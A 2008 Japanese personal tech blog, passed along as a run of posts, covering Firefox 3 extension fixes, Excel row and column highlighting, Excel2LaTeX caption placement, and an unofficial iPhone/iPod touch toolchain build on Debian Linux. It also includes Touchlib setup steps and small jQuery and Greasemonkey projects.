がいつの間にか使えなくなってたんだが 3.01の影響?

739 :名無しさん@お腹いっぱい。:2008/07/19(土) 15:36:03 ID:KTjErugJ0
>>738
俺漏れも。

740 :名無しさん@お腹いっぱい。:2008/07/19(土) 15:46:50 ID:SPcde6LK0
>>738
面倒だからFindbar Basic入れた

Mozilla Firefox 拡張機能スレッド Part33

なので,入れてみた.実際には,Findbar Basicsなんだがね.これで世界はまた1つ平和になったのでした.こういう情報を知っていながらも一切世に出さないで,自分は自分で一方的に情報を搾取するだけの非ブロガっていうか非ネットコミュってなんなんだろうねと,ぼやくテスト.情報はあるのが当たり前って思っている時点で,ディジタルディバイドだね.

080718_excel.png

もちろん,ホッテントリメーカーによります.推定52ブクマですから,がんばってください.今日は,半期末のお父さんのために,Excelで選択セルの行列を自動ハイライトする方法を教えちゃおうと思います.ほら!採点作業とか,帳簿付けとか,人事評価とか,よくわからないけど膨大にでかい表を埋める作業があるじゃないですか.いや,オレはあるんだよ.もうすぐ降ってくるんだよ.そんなとき,「これ,誰のなんて項目を付けてるんだ??」ってことがあるかと思います.デフォだと,左端と上端の行番号と列名がハイライトされるだけなんです.それをですね.WUXGAフルスクリーンで開いた右端とか,むぎゃー!ですよ.目が破裂します.なので,自動ハイライトですよ.

やり方はアンドリューのエクセルTipsを大いに参考にさせて頂きました.べ,べつに,コメント欄を見なくても,独自に思いついたんだからねっ!COLUMN()じゃなくて,COL()だと思い込んで,結構悩んだんだからねっ!

まずは,Visual Basic的なマクロを仕込みます.ボクはExcel2007を使っているんだけど,どこからVBのエディタを起動するのか,わからなかったゾ!Office 2007オールドスタイルメニューアドインを使っているから,そこから行きましたよ!「ツール->マクロ->Visual Basic」でした.そして,そのエディタ上で,ThisWorkbookにこう書く.

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)
Application.ScreenUpdating = True
End Sub

アンドリューのエクセルTIPS:行の自動的ハイライト

要するに以下のような感じです.

080718_excel2.png

簡単だねっ!続いて,自動ハイライトしたい範囲全体(行名と列名のヘッダ行も含めて)を選択して,条件付き書式を選びます.Office2007的リボンだと,ホームタブの中にあると思います.大きめのボタンで,すぐに見つかりますよ.Excel2007なら「条件付き書式->新しいルール->数式を使用して,書式を設定するセルを決定」でok.そして,ルールにこう書く.

=OR(CELL("row")=ROW(), CELL("col")=COLUMN())

アンドリューのエクセルTIPS:行の自動的ハイライト

要するに,こんな感じ.

080718_excel3.png

後は,右下の書式ボタンを押して,背景色を好きなカラーにしてください.

アーサム.全く以てアーサム.これで半期末の採点作業を乗り切ろう!(ぇ

Firefox3になってから初のアップデートである3.0.1が出たのであるが,もちろん導入済みである.そして,皆さんは悲劇に遭遇されたのであろう.悲劇は繰り返された.

またTabMixPlusが使えなくなったよ!

Firefox3の時はdev版を導入することで事なきを得たが,今回はdev版の対応が間に合っておらず,見事に互換性チェックではじかれましたorz.Nightly Tester Toolsを外さなきゃ良かったorz.

というわけで対策.情報元ははてなハイクから.

2ちゃんねるの某スレにチラッと書いたのですが、Firefox 3.0.1 が日本時間の7月17日の午前7時(あってるよな… July 16th, 3pm PDT だから)にリリースされる予定ですが、開発元からダウンロードできる Tab Mix Plus Dev-Build 0.3.6.1.080416 は Firefox 3.0.0 (まで)にしかインストールできません。ご存知の人は既に各種方法で対処済みでしょうが、この問題を放置しておくと、期日までに(Firefox 3.0.1 にインストール可能な)次の Dev-Build がリリースされなかった場合、また大量の Tab Mix Plus 難民が発生することが予想されます。

Shadow912's Mozilla/Firefox 日本語版拡張置き場: Tab Mix Plus Dev-Build 0.3.6.1.080416 の Firefox 3.0.1 対応

それ,なんてオレ.というわけで,早速導入して,事なきを得ました.ふぅ.今日の仕事ができなくなるところだったぜぇ.

関連:
Firefox3.0.1に上げるとTabMixPlusが動かなくなったので直してみた - Do You PHP はてな

200807230144追記
3.0.1対応版のtab_mix_plus-0.3.7pre.080721.xpiがでました.

タイトルはホッテントリメーカーで作成されています.推定83ブクマですから,皆さんがんばってください.

先日,Excel2Tabularの期限切れ問題によって,Excel2LaTeXを導入したわけだが,このアドインを信じて使うと,研究者として常識を疑われることになりそうだ.ここで注意を促したい.

Excel2LaTeXはcaptionを表の下に入れる

一般に,図題は下,表題は上である.にも関わらず,標準でcaptionを下に出力してくれる.是非とも注意されたい.くれぐれも出力されたものを精査せずに使わないこと.便利なソフトであるだけに,残念だ.

関連:
Excel2LaTeXを導入 - 4403 is written

200807141756追記:
図解します.以下の表を想定します.

080714_e2l_01.png

これをExcel2LaTeXで変換します.設定は以下のような感じ.

080714_e2l_02.png

これによって出力されるのが,以下の書式.

080714_e2l_03.png

これを正しかろう状態に直したのが,以下.

080714_e2l_04.png

この両方をLaTeXでタイプセットした出力が以下.

080714_e2l_05.png

こういうことです.

試してみると、favicon 部分にドメイン名も表示されるようになります。これはぱっと見の解りやすさがかなり違います。

鳥獣保護区 | Firefox 3 の SSL 接続時のロケーションバー

これは便利.Locationbar2はもう要らなさそう.ということで,Locationbar2をアンインストール.

080707_location_bar.png

ちゃんと表示されました.ドメイン確認が楽になりましたねっ!ってあれ??ロケーションバーが黄色い・・・.Firefox3から,ロケーションバーはSSL接続時でも黄色くならなくなったらしいですよ.あれ?オレのFirefox3はおかしい??一応,Stylishを用いることで,このように強調表示ができるようになるようです.おかしいなぁ・・・.何でだろう??

URL をなげるとグラフなどの図を画像として生成してくれる Google Chart API ですが、 新たに QRコードを生成してくれるオプションができました。

[を] Google Chart API で QRコードも生成してくれるようになった

早速,ブックマークレット化してみた.別に,ブックマークレット屋じゃないですけどぉー.

Google Chart APIで今見ているページをQRコードにしちゃうブックマークレット

どうぞご自由にお持ち帰って,ご自由にカスタマイズしてください.サイズ指定をしなくちゃいけない辺りが面倒くさくて,IT-TOP.BIZのAPIの方が楽だなぁ・・・.

関連:
Google Mobile Gateway - 4403 is written

TeX Wikiで変換ツールを探して,とりあえずExcel2LaTeXを使ってみた.

今のところExcel2Tabularと変わらず快適.

Excel2Tabularの利用期限に悩んだので - kakku blog

早速使ってみた.確かに,ほとんど変わらない.高級な表を作ろうとしたら,Excel2Tabularに軍配が上がりそう.いや,もう動かないから確認のしようもないし,評価に値しないけど.論文に載せる程度の表だったら,Excel2LaTeXで十分そう.

開発環境の準備が整ったので,自作アプリを作ってみた.もちろん,基本中の基本であるHello Worldのナシアリだ.

$ wget http://ellkro.jot.com/WikiHome/HelloWorldSrc-0_30.zip
$ unzip HelloWorldSrc-0_30.zip
$ cd HelloWorld
$ make
$ mkdir Hello.app
$ cp Info.plist Hello Hello.app

[iPod touch] iPhone/iPod touch用のHelloWorldをmakeする - airy-fairy

問題なくmakeできた.後は,Hello.appをWinSCPなどでiPod touchのApplicationsにコピーして,パーミッションを適当な777辺りにすればいいんだと思います.オレはFileZillaを使っているけどね.細かいことを気にしてはいけない.もちろん,SpringBoardの再起動をお忘れ無く.

snap_152621.png

Helloってある.アイコンの作り方を学ばねば.

snap_152419.png

動いた!これで,touchlibが動かせなくても,なんとかなる!っていうか,そもそもはiPod touchで開発をしようと思って,Macが必要だってことに絶望して,その代替としてtouchlibを採用したのに,動かせなくて,結局iPod touchを使ってる,オレ.かわいそうです.

大苦戦.なかなかゴニョゴニョだから,上手くいかないぜ.以下,備忘録.

何はなくとも,条件反射でapt.

$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt-get install subversion csh
$ sudo apt-get install libc6-dev flex m4
$ sudo apt-get install bison pax gcc g++ patch
$ sudo apt-get install unzip libssl-dev

[iPod touch] Linux(Debian etch)環境でiPhone/iPod touch用の開発環境を整える - airy-fairy

ADC Member SiteからXcode2.4.1をいただいて,以下を実行.

$ dd if=xcode_2.4.1_8m1910_6936315.dmg skip=323904 | gunzip | pax -r

[iPod touch] Linux(Debian etch)環境でiPhone/iPod touch用の開発環境を整える - airy-fairy

ここから,指示通りにやっても上手くいかない.適宜修正.

$ wget http://どこかしら/iPhone1,1_1.0_1A543a_Restore.ipsw
$ unzip iPhone1,1_1.0_1A543a_Restore.ipsw
$ wget http://daeken.pastebin.ca/raw/603179 -O vfdecrypt.c
$ gcc -o vfdecrypt vfdecrypt.c -lcrypto
$ ./vfdecrypt 694-5262-39.dmg decrypted.dmg -k 秘密の文字列

[iPod touch] Linux(Debian etch)環境でiPhone/iPod touch用の開発環境を整える - airy-fairy

「どこかしら」はappleのどこかです.載せてもいいと思うんだけど,URLが長くてはみ出すから,割愛.一応,Google先生に依頼.「秘密の文字列」は重要.引用先のサイトには書いていないが,これがないとdecryptできない.これも長くてはみ出すから,割愛.ゴニョゴニョする.ここまではetchでもできた.

$ wget http://vu1tur.eu.org/tools/download.pl?dmg2img.tar.gz -O dmg2img.tar.gz
$ tar xvzf dmg2img.tar.gz
$ pushd dmg2img
$ make
$ popd
$ ./dmg2img/dmg2img -i decrypted.dmg -o iphone_rootfs.img
$ sudo mkdir /mnt/iphonefs
$ sudo mount -t hfsplus iphone_rootfs.img /mnt/iphonefs

[iPod touch] Linux(Debian etch)環境でiPhone/iPod touch用の開発環境を整える - airy-fairy

これがダメ.etchだと「セグメンテーション違反です」と怒られる.もちろん,mountできない.調べてみると,Ubuntuでの成功例(こことかここ)が見あたるので,見捨てたUbuntuに環境を準備して,やってみたところ,確かにセグメンテーション違反が発生するものの,無視できそうなので,etchに持ってきてmountしてみた.まぁ,マウントも上手くいかないから,オプションを付けるわけだが.

$ sudo mount -t hfsplus -o loop iphone_rootfs.img /mnt/iphonefs
$ sudo mkdir /usr/local/share/iphone-filesystem
$ sudo cp -R /mnt/iphonefs/* /usr/local/share/iphone-filesystem

いい感じだ.続いて,LLVMをsvnから取り出そうとするも,学内FWに阻まれてsvnできないので,proxyの設定をする.設定ファイルは~/.subversion/serversらしいぜ.

http-proxy-host = proxy.example.com
http-proxy-port = 8080
http-proxy-username = tora
http-proxy-password = プロキシ認証のパスワード

Subversion - PukiWiki

たぶん,[global]の中に書いた方がいいと思う.きっと.以下,LLVMを取得して順番にやっていくわけだが,躓かなかったので,打ち込んだコマンドだけ.

$ svn co http://llvm.org/svn/llvm-project/llvm/trunk llvm-svn -r 42498
$ pushd llvm-svn
$ ./configure --enable-optimized
$ make ENABLE_OPTIMIZED=1
$ sudo make install
$ export LLVMOBJDIR=`pwd`
$ popd
$ svn checkout http://iphone-dev.googlecode.com/svn/trunk/ iphone-dev
$ pushd iphone-dev
$ sudo mkdir /usr/local/arm-apple-darwin
$ mkdir -p build/odcctools
$ pushd build/odcctools
$ ../../odcctools/configure --target=arm-apple-darwin --disable-ld64
$ make
$ sudo make install
$ popd
$ export HEAVENLY=/usr/local/share/iphone-filesystem
$ pushd include
$ ./configure --with-macosx-sdk=/Developer/SDKs/MacOSX10.4u.sdk
$ sudo bash install-headers.sh
$ popd
$ mkdir -p build/csu
$ pushd build/csu
$ ../../csu/configure --host=arm-apple-darwin
$ sudo make install
$ popd
$ mkdir -p build/llvm-gcc-4.0-iphone
$ pushd build/llvm-gcc-4.0-iphone
$ ../../llvm-gcc-4.0-iphone/configure \
--enable-llvm=`llvm-config --obj-root` \
--enable-languages=c,c++,objc,obj-c++ \
--target=arm-apple-darwin \
--enable-sjlj-exceptions \
--with-heavenly=$HEAVENLY \
--with-as=/usr/local/bin/arm-apple-darwin-as \
--with-ld=/usr/local/bin/arm-apple-darwin-ld
$ make LLVM_VERSION_INFO=2.0-svn-iphone-dev-0.3-svn
$ sudo make install
$ popd
$ popd

[iPod touch] Linux(Debian etch)環境でiPhone/iPod touch用の開発環境を整える - airy-fairy

svnとmakeはえらい待たされます.のんびり行こう.Hello World!編に続く.

ちなみに,Windows環境下のcygwinでどうにかする方法も見つけた.試していないけど.

関連:
Building - iphone-dev - Google Code
Creating native iPhone apps by Lucas Newman(注※リンク先はpdf)

VM環境をDebianのetchに変更しました.このサイトに紹介されて,ここからMinimal Gnome Desktopを頂きました.良い時代になったもんだ.なお,変更前はUbuntuの7.04だったかな.

いや,本当はandLinuxを導入しようと思って,挑戦したんだけど,ネットワークの設定が上手くいかなくて,諦めちゃいました.上手く動かせないものに時間を掛けるわけにはいかないのです.世知辛いもんだ.

そんな時に役に立つのは,やっぱりVMware Playerです.導入が簡単すぎだし,VMware Tools入りのイメージを持ってくれば,すぐにシームレスな作業環境(andLinuxやcoLinuxのそれとはちょっと違うが)が出来るし.簡単は正義!

というわけで,etchになりました.debianは初挑戦です.初挑戦の割りには,aptが使えるので,設定はバリバリすぐにできちゃいました.別に,apt慣れしているだけで,dpkgだろうがyumだろうが,あんまり関係ないんだろうけどね.ただ,個人的にはSynapticは慣れません.コマンドラインの方が使いやすいよー><.

upgradeして,日本語環境を準備して,終わり.xcode2.4.1のダウンロードは5時間と表示されたので,自宅に帰ってDLです.どうも学校の回線が細すぎて困る.出て数百KB/sで,大抵は数十KB/s.前の学校は平然と数MB/sでてたのに・・・.proxyを通さないと外に出られないから,proxyがボトルネックなのかなぁ・・・.

ハッキリ言って,Touchlib公式の説明は分からない.CMUPlatformSDKDirectX SDKも説明が一切無い.DirectX SDKはJPEG2000関連でインストールしておいたし,PlatformSDKは経験上気が付いたから良いものの,CMUはビルド時のエラーで環境変数がないというところから,逆引きして判明したくらい.どこにも書いていない!分かるわけがない!

というわけで,四苦八苦して動かせたのは,同じトラブルにはまった人が,ブログ上で情報を公開してくれていたから.ブログはこういうためにあるんだと思う.思ったこと,やったことを思いつくままに書いておけばいいんだと思う.必要なものは必要とされるし,不要なら淘汰される.適当に書いておいても,グーグル先生が適当に整理してくれる.それがウェブを媒介とした新しい情報配信と共有だ.単純なプッシュしかできない旧来のメディアには出来ない芸当であろう.以下,手順を転載.本当にありがとう.

Miscallenous Libraries
OpenCV (download OpenCV_1.0.exe)
DSVideoLib (download dsvideolib-0.0.8c)
VideoWrapper (download VideoWrapper_0_1_1.zip)
GLUT (download glut-3.7.6-bin.zip)
OSCpack (download oscpack_1_0_2.zip)
CMU 1394 Digital Camera Driver (download 1394camera644.exe)
Windows Server 2003 R2 SDK (aka Platform SDK) Web Install, Full download or ISO
DirectX SDK (download August 2007)

Setting environment variables:
Depending on your setup you might need to change a few directory location values.

  1. Press the right mouse button on “My Computer” and choose: Properties > Advanced > Environmental Variables
  2. To add an entry, click “new” at the System Variables.
  3. Add the OpenCV root directory:
    name: “OPENCV_HOME”
    value: “C:\Program Files\OpenCV”
  4. Add the DSVideoLib:
    name: “DSVL_HOME”
    value: “C:\_libraries\dsvl-0.0.8c”
  5. Add the VideoWrapper
    name: “VIDEOWRAPPER_HOME”
    value: “C:\_libraries\VideoWrapper_0_1_1″
  6. Add the OSCpack
    name: “OSCPACK_HOME”
    value: “C:\_libraries\oscpack_1_0_2\oscpack”
  7. Add the CMU driver location
    name: “CMU_PATH”
    value: “C:\Program Files\CMU\1394Camera”

Visual studio settings:
We are almost done with setting up the enviroment, there are just a few steps left before we can compile Touchlib.

  1. Open up “solution.sln” in the “C:\multitouch\touchlib\build\VC8″ directory.
  2. Choose Tools > Options
  3. On the left choose Project and Solutions > VC++ Directories
  4. On the right change “Show directories for:” to “Include files”
  5. Add the directory “C:\_libraries\glut-3.7.6-bin”
  6. Add the directory “C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2\Include”
  7. Add the directory “C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2\Samples\Multimedia\DirectShow\BaseClasses”
  8. Add the directory “C:\Program Files\Microsoft DirectX SDK (August 2007)\Include”
  9. Change “Show directories for:” to “Library files”
  10. Add the directory “C:\_libraries\glut-3.7.6-bin”
  11. Add the directory “C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2\Lib”
  12. Add the directory “C:\Program Files\Microsoft DirectX SDK (August 2007)\Lib\x86″
  13. Click OK
  14. In the menu choose Build > Build Touchlib
  15. When it has compiled Touchlib, Build > Build solution
  16. The End

Touchlib compiling instructions | Multigesture.net

本当に,トラブルはみんなで共有するべき.

一応,動くようになったようです.

91 :名無しさん@お腹いっぱい。:2008/06/19(木) 06:46:19 ID:Py7NsSz00
回避するには
1.2バイト文字を含まない場所にFirefoxPortableを展開する
2.起動して終了

これで2バイト文字を含む場所にコピーしても動作可能
NSISが2バイト文字を正常に扱えていないことが原因だな。
フォーラムでテストしてくれてる人がいた。現象は作者にも伝わってる。

Mozilla Firefox "Portable" Edition 3 Beta 5

確かに,これでokのようです.あー.一安心.使えなかったOrganize Status BarNightly Tester Toolsでokでした.テーマにClassic Compactを使っている場合,Classic Compact Optionsを入れるといいみたいです.

それから,AutoHide Menubar (16px icon)の件は,22pxを参考にして修正することで,上手く動きました.ファイルをおいておきますね.Stylishかなんかで適切に読み込んであげてください.

やった!完成!と思ったら・・・.

080619_ff3.png

URLロケーションバーがぶっ壊れました.URLを打ち込んでも,表示されているページが新しいタブで開かれるだけです.っていうか,現在のURLが確認できなくて,セキュリティ的に脆弱すぎてワロタ状態.これは使い物にならない.なんでこうなってしまったのかがわからない.たぶん,大人しくクリーンインストールして,環境を構築し直せっていう神託なんでしょう.そう思っておきます.

関連:
[速報]Firefox PE 3がダメダメな件 - 4403 is written

200806191320追記:
その後,普通に動いているFF2のコピーを取って,それにFFPE3を上書きしてみたところ,事も無さ気に動き始めました.

080619_ff3comp.png

これにて,移行ミッションは終了しました.良かった良かった.

全世界的にFirefox3日和なわけですが,オレはPE使いなので,PE3をトライしてみた.結果は散々だ.

capture_18062008_131548.png

FirefoxPortable.exeのオンパレードです.そんなに積極的に起動しようとしなくてもいいと思うんですが・・・.

capture_18062008_131552.png

仮想メモリいっぱいまでカッツンカッツンで,「仮想メモリが足りない」っていうエラーを初めてみました.どんだけメモリ喰いですか.

capture_18062008_131557.png

NSIS Errorとか言われてもねぇ・・・.なお,上書きでもクリーンインストールでも,どっちでも同じ症状.再現しすぎ.2chで報告が出ているので,恐らく元々がダメなんだろう.

63 :名無しさん@お腹いっぱい。:2008/06/18(水) 11:00:13 ID:Hu3eFAQn0
みなさん、Portable FIREFOX3正式版、ちゃんと入りました?
なんか「NSIS Error」が出て、何個も起動しちゃうんですけど。

66 :名無しさん@お腹いっぱい。:2008/06/18(水) 11:13:05 ID:jL1w0oru0
>>63
全く同じだ

>>1のリンクから落とした奴
前バージョンに上書きではなくて、新規にインストールしてみて起動してみた
そしたらブラクラみたいにウインドウがたくさん出てきて慌てて再起動したよ
こえーよ

67 :63:2008/06/18(水) 11:22:27 ID:Hu3eFAQn0
66さん、どうも。

まったく一緒ですね。
同じく、ブラクラみたいに多重起動した。w
上書きじゃなくて、新規に入れてるんだけどなー。
どないしたもんか!?

68 :名無しさん@お腹いっぱい。:2008/06/18(水) 11:30:43 ID:VmUPdOBI0
新規でも出ちゃったか・・・上書きだと同じ症状だけど
自分の環境だと問題なく動いてる。

参考にならんと思うけど、MD5
Firefox_Portable_3.0_ja.paf.exe 1b73ee21082f7f3bf49aba99a1e26891

配布元に報告したほうが良いだろうね、俺は英語はできんので無理だけど

Mozilla Firefox "Portable" Edition 3 Beta 5

こりゃあかんね.

200806181643追記:
問題が解決しない.困った困った.一応,拡張機能の動作可否報告を.

capture_18062008_125940.png

ご覧の通り,FasterfoxとFirebugとOrganize Status BarとWeb Developerが動きません.Fasterfoxは最早不要という噂が・・・.Firebugは最新ベータで動くようです.使ってないので,試してませんが.OSBとWeb Developerはダメポ.Nightly Tester Toolsを使えばいけるかもしれないけど,そこまで試していません.

いくつかの拡張機能は更新が必要でした.どれだったかは覚えていませんが,自動更新できなかったのは,Tab Mix PlusとSwitchProxy Toolです.TMPは最新開発版を手動インストールでok.SPTはゴニョゴニョしたのがあるので,それを入れるだけ.自前でやってもいいと思います.そんな感じです.

あまり試せてないけど,見た目の部分はすぐに気がつくので,そこだけ報告.Stylishを使って,メニューバーを隠すように設定しているんですが,それに問題が発生しました.

080618_ff3_01.png

隠されているはずのメニューがもろ見えです.これはまずい.火狐マークにマウスオーバーでメニューが展開されます.

080618_ff3_02.png

使っていたのは,AutoHide Menubar (16px icon)っていうスタイルセットなんですけど,どうにもこうにも見つかりません.どうやって入れたんだろう・・・.仕方がないので,代替品になりそうな22pxを入れてみた.

080618_ff3_03.png

ちょっと大きくなるけど,一応okそう.今度,2つを見比べて,16pxを動くようにしよう.その前に,Firefox PE3が動かないことには・・・.

ふと気が付いたら,googleのfaviconが変わっていた.

ネットではぼちぼち情報が出てるみたいだから、世界中で変わってる見たい。

IT Fun: Google Favicon

とのことなので,数日前から変わり始めていたみたい.個人的には,旧faviconの方が見やすくていいのだが・・・.

jQuery用プラグイン「jquery.suggest」を使って入力補完機能を実装してみる : アシアルブログ

面白そうだったので,実装してみた.簡単すぎて,拍子抜け.

jquery.suggestのサイト等から以下の4ファイルを入手する.

search.phpsは参考にするだけなので,実際には使わなかったです・・・.続いて,MT側にテンプレートを作成します.インデックステンプレートに新しいカスタムインデックステンプレートを作成します.ファイル名等は適当に決めて下さい.コードも一部書き換えています.

080518_jquery1.png

このテンプレートによって作成されるsearch.phpは以下のような感じ.一部抜粋.

080518_jquery2.png

ここまでできれば,完成したようなもの.次に,検索窓がどのような設定になっているかを,適切なテンプレートを開くか,ページのソースを開くか何かして,確認します.

080518_jquery3.png

このブログではid="search"が設定されていることが確認できます.仕上げに,jqueryなスクリプトが走るように,ヘッダを書き換える.モジュールテンプレートのヘッダに次のように追記する.

080518_jquery4.png

赤線を引いた部分が検索窓のidと一致するようにします.気をつけるのはそこだけ.簡単だねっ!

実装結果

080518_jquery5.png

ね.簡単でしょ?(ボブ風)

現実逃避気味に,greasemonkeyでプログラミング.ドキドキして,書いた.反省していない.色々なサイトを参考にしながら書いたのだが,多くのサイトを参考にしすぎて,挙げきれない.オレのオリジナリティはどこ?

080513_x-info.png

MSN産経ニュースのみで動作します.そのうち,autopagerizeみたいな方式を導入したいと思うだけ,思っておく.

今のところ,何ができるかといえば,ニュース本文を赤字にして,本文から「地震」「震源」「余震」という語を見つけたら,ツールチップを表示するってもんです.ただ,それだけです.今のところ.いわゆる,プロトタイプですね.

たとえば,この記事とか,この記事で動作確認できると思います.たぶん.

一応,スクリプトをここに置いておきますね.動作確認はFirefoxPE2.0.0.14でやってます.気軽に試すなら,FirefoxPE+Greasemonkeyでいいと思う.

xinfo.user.js

飽きるまでは,バリバリと開発されるでしょう.何に使えるかは,kakku君がごにょごにょ.

Account Auto-Discoveryを試してみた - 頭ん中

おもしろそうだったので,実装してみた.環境はMT4.1に,Minimalist Blueスタイルを利用して,一部改.

まず,ヘッダー・テンプレートに書きましょうと紹介されていますが,少なくともこの環境では上手くいかないので,仕方なく,ブログ記事の詳細・テンプレートに書きます.その際,XHTML的にvalidを維持するため,以下のような細工をします.

<div id="entry-<$MTEntryID$>" class="entry-asset asset hentry">
<!--
 <rdf:RDF
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
  xmlns:foaf="http://xmlns.com/foaf/0.1/">
 <rdf:Description rdf:about="<$MTEntryPermalink$>">
  <foaf:maker rdf:parseType="Resource">
   <foaf:holdsAccount>
    <fo